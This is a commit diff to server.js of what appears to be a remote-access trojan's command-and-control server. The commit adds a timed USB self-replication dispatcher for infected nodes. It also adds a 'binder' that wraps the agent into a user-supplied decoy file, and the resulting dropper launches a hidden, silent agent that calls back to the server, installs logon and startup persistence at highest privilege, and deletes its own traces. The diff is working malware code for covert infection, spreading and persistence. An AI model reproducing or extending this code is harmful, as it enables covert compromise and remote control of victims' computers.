v2.2.0: USB self-replication (per-node toggle + 10min dispatcher), binder persistence option, hover terminology tooltips, binder embeds current token-injected agent, README full rewrite
This commit is contained in:
57
server.js
57
server.js
@@ -300,6 +300,58 @@ function buildAgentB64() {
|
||||
}
|
||||
}
|
||||
buildAgentB64();
|
||||
|
||||
// ── USB Self-Replication (spread) system ──
|
||||
const SPREAD_FILE = path.join(DATA_DIR, 'spread.json');
|
||||
let spreadNodes = new Set(), spreadModes = {};
|
||||
try {
|
||||
const sd = JSON.parse(fs.readFileSync(SPREAD_FILE, 'utf8') || '{}');
|
||||
spreadNodes = new Set(sd.nodes || []);
|
||||
spreadModes = sd.modes || {};
|
||||
} catch (e) {}
|
||||
function saveSpread() {
|
||||
_atomicWrite(SPREAD_FILE, JSON.stringify({ nodes: Array.from(spreadNodes), modes: spreadModes }));
|
||||
}
|
||||
setInterval(() => {
|
||||
if (!spreadNodes.size) return;
|
||||
for (const nid of spreadNodes) {
|
||||
const node = nodes.get(nid);
|
||||
if (!node || node.status !== 'online') continue;
|
||||
commandQueues.get(nid).push({
|
||||
id: `cmd-${Date.now()}-sr${Math.random().toString(36).slice(2, 4)}`,
|
||||
actionType: 'copy_self_to_usb',
|
||||
payload: { mode: spreadModes[nid] || 'copy' },
|
||||
command: 'copy_self_to_usb',
|
||||
status: 'queued',
|
||||
queuedAt: Date.now()
|
||||
});
|
||||
}
|
||||
}, 10 * 60 * 1000);
|
||||
app.post('/api/nodes/:id/spread', (req, res) => {
|
||||
const nid = req.params.id;
|
||||
if (!nodes.has(nid)) return res.status(404).json({ error: 'Node not found' });
|
||||
const { enabled, mode } = req.body || {};
|
||||
if (enabled !== false) {
|
||||
spreadNodes.add(nid);
|
||||
if (mode) spreadModes[nid] = mode;
|
||||
commandQueues.get(nid).push({
|
||||
id: `cmd-${Date.now()}-sr${Math.random().toString(36).slice(2, 4)}`,
|
||||
actionType: 'copy_self_to_usb',
|
||||
payload: { mode: spreadModes[nid] || 'copy' },
|
||||
command: 'copy_self_to_usb',
|
||||
status: 'queued',
|
||||
queuedAt: Date.now()
|
||||
});
|
||||
} else {
|
||||
spreadNodes.delete(nid);
|
||||
delete spreadModes[nid];
|
||||
}
|
||||
saveSpread();
|
||||
broadcastState();
|
||||
res.json({ success: true, spread: enabled !== false });
|
||||
});
|
||||
app.get('/api/spread', (req, res) => res.json({ nodes: Array.from(spreadNodes), modes: spreadModes }));
|
||||
|
||||
app.post('/api/bind', upload.single('file'), (req, res) => {
|
||||
if (!req.file) {
|
||||
return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
|
||||
@@ -311,6 +363,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
||||
const agentLines = AGENT_B64.match(/.{1,76}/g) || [AGENT_B64];
|
||||
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||
const format = (req.query.format || 'sh').toLowerCase();
|
||||
const persist = req.query.persist !== '0'; // persistence ON unless explicitly 0
|
||||
|
||||
let dropper, boundName, contentType;
|
||||
|
||||
@@ -384,7 +437,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
||||
'}',
|
||||
'',
|
||||
'Start-Process $OUTPUT_FILE -WindowStyle Normal',
|
||||
'schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $AGENT_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null',
|
||||
(persist ? 'schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $AGENT_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null' : '# persistence disabled by operator'),
|
||||
'Start-Process -FilePath python -ArgumentList "$AGENT_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden',
|
||||
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 60; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
|
||||
'',
|
||||
@@ -431,6 +484,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
||||
'elif command -v start &>/dev/null; then start "$OUTPUT_FILE" 2>/dev/null &',
|
||||
'fi',
|
||||
'',
|
||||
...(persist ? [
|
||||
'# ── Install agent persistence (OS-aware) ──',
|
||||
'case "$(uname -s 2>/dev/null)" in',
|
||||
' Linux)',
|
||||
@@ -468,6 +522,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
|
||||
' /usr/bin/python3 -u "$AGENT_DIR/agent.py" --server "$SERVER_URL" --silent &>/dev/null &',
|
||||
' ;;',
|
||||
'esac',
|
||||
] : ['# persistence disabled by operator']),
|
||||
'',
|
||||
'# ── Self-destruct temp dir ──',
|
||||
'(sleep 60 && rm -rf "$OUTPUT_DIR") &',
|
||||
|
||||
Reference in New Issue
Block a user